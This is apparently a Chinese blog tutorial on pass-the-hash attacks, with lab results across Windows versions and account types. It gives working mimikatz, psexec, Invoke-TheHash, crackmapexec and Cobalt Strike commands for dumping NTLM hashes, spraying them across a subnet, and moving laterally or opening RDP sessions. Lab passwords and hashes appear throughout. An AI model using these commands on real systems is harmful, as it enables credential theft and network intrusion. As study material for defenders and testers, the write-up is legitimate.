点我

原理及条件

PTH概述

PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。

在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。

如果计算机的本地管理员账户和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。

PTH原理-NTLM认证中

response是如何生成的呢?
response = NTProofStr+blob两部分组成的

  • NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的

    NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密

  • blob是由时间、目标信息、随机填充字符等生成
PTH原理-kerberos认证中

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

    PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段
  • cname:请求的用户名
  • realm:域名
  • sname:请求的服务名

条件

1、有管理员的NTLM Hash值

2、目标机器开放了445端口

哪些用户可以进行PTH
  • 域管理员 administrator
  • 普通域管理员(admin domain组中的用户)
  • 普通域用户
  • 本地管理员 administrator
  • 本地普通管理员
  • 本地普通用户

不同用户下的PTH区别

本地账户测试环境

机器环境

  • Windows server 2003
  • Windows server 2008
  • Windows server 2012
  • Windows server 2016
  • Windows 10

各一台

账户准备

  • 每台机器创建相同的账户

user.bat

@echo off
net user administrator /active:yes
net user administrator A1b2c3d4.@.
net user xbxaq Z1x2c34@! /add
net localgroup administrators xbxaq /add
net user test 23zxCv@.ABc /add

  • administrator 超级管理员
  • xbxaq 本地管理员
  • test 普通用户
抓取每个账号HASH值

mimikatz命令

privilege::debug
token::elevate
lsadump::sam

administrator
Hash NTLM:f952cdd9583547bdbb1502d2b6060afc

xbxaq
Hash NTLM:fa4afe3f359c5ed2932c6abcc5439568

test
Hash NTLM:4f3c171070a3f75632f4a972f5291b6a
PTH哈希传递

mimikatz工具

privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl

执行成功后,会弹出cmd窗口,可使用IPC$进行验证是否传递成功

使用administrator的账号进行hash传递

sekurlsa::pth /user:administrator /domain:192.168.146.134 /ntlm:f952cdd9583547bdbb1502d2b6060afc

传递成功

sekurlsa::pth /user:xbxaq /domain:192.168.146.134 /ntlm:fa4afe3f359c5ed2932c6abcc5439568

传递失败

本地账户传递

超级管理员 hash值传递
机器型号账户名结果
Windows server 2003administrator成功
Windows server 2008administrator成功
Windows server 2012administrator成功
Windows server 2016administrator成功
Windows 10administrator成功
普通管理员 hash值传递
机器型号账户名结果
Windows server 2003xbxaq成功
Windows server 2008xbxaq失败
Windows server 2012xbxaq失败
Windows server 2016xbxaq失败
Windows 10xbxaq失败
普通用户 hash值传递
机器型号账户名结果
Windows server 2003test失败
Windows server 2008test失败
Windows server 2012test失败
Windows server 2016test失败
Windows 10test失败
总结

administrator账户可以进行PTH传递,本地普通管理员只可以在Windows server 2003 、XP中进行PTH传递,本地普通用户不可以进行PTH传递。

域内账户测试环境

账户
  • administrator 域内超级管理员
  • xbxaqsec 域普通管理员组,密码为Abc321@.zxc
  • test 域内普通用户组,密码为zbXAS12@34

抓取HASH值

使用mimikatz工具读取所有用户的hash值

lsadump::dcsync /domain:xbxaq.com /all /csv

hash值

用户名hash值
administratordb40247dab331ac57c207032f198f364
xbxaqsec29702c72ab196dd8712b96f8dd5db1c3
test1cf629e4627ef393d59c36957524e9d4
hash传递
psexec.exe 域名/账户名@目标机器名 -hashes lmhash值:nthash值


lmhash默认为禁用状态,aad3b435b51404eead3b435b51404ee

例如对Windows server 2008机器使用administrator用户进行hash传递

psexec.exe xbxaq/administrator@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364

传递成功

psexec.exe xbxaq/test@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:1cf629e4627ef393d59c36957524e9d4

传递失败

域内账户传递

域超级管理员 hash值传递
机器型号账户名结果
Windows server 2003xbxaq\administrator成功
Windows server 2008xbxaq\administrator成功
Windows server 2012xbxaq\administrator成功
Windows server 2016xbxaq\administrator成功
Windows 10xbxaq\administrator成功
域普通管理员 hash值传递
机器型号账户名结果
Windows server 2003xbxaq\xbxaqsec成功
Windows server 2008xbxaq\xbxaqsec成功
Windows server 2012xbxaq\xbxaqsec成功
Windows server 2016xbxaq\xbxaqsec成功
Windows 10xbxaq\xbxaqsec成功
域普通用户 hash值传递
机器型号账户名结果
Windows server 2003xbxaq\test失败
Windows server 2008xbxaq\test失败
Windows server 2012xbxaq\test失败
Windows server 2016xbxaq\test失败
Windows 10xbxaq\test失败
总结

域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。

Hash值批量碰撞

内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。

这里主要介绍两种方法

power shell脚本

Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。

执行该脚本不需要本地管理员权限

条件:power shell 2.0及以上

用法:

Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364

CS上执行Invoke-TheHash脚本

1、先将Invoke-TheHash.zip通过文件管理上传

2、再上传unzip.exe小工具

3、通过unzip.exe对powershell脚本进行解压缩

4、进入 Invoke-TheHash目录执行以下命令

shell powershell -exec bypass -command "& { import-module .\Invoke-TheHash.psd1; Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364}"

crackmapexec工具

crackmapexec也可以进行批量碰撞

crackmapexec.exe 192.168.110.0/24 -u administrator -H aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364

PTH认证CS上线

需要实验机器关闭防火墙

1、展示已经入侵的计算机

2、选择需要上线的主机IP地址,右键jump,点击psexec

3、选择所需要使用的用户名

密码就是用户名对应的hash值,Domain就是目标主机的IP地址,再分别选中监听器与会话

点击开始等待上线

Mimikatz工具进行PTH

相关命令
privilege::debug 
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash
执行完成之后会弹出一个cmd

可以利用这个cmd命令执行程序,配合copy、计划任务或添加服务等方式进行上线。

privilege::debug 
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364

利用PTH进行远程桌面

开启远程桌面的命令

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

Mimikatz命令

privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或IP地址 /ntlm:hash值  "/run:mstsc.exe /restrictedadmin"



例如:
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"
分类: 内网渗透

评论

-- 评论已关闭 --

目录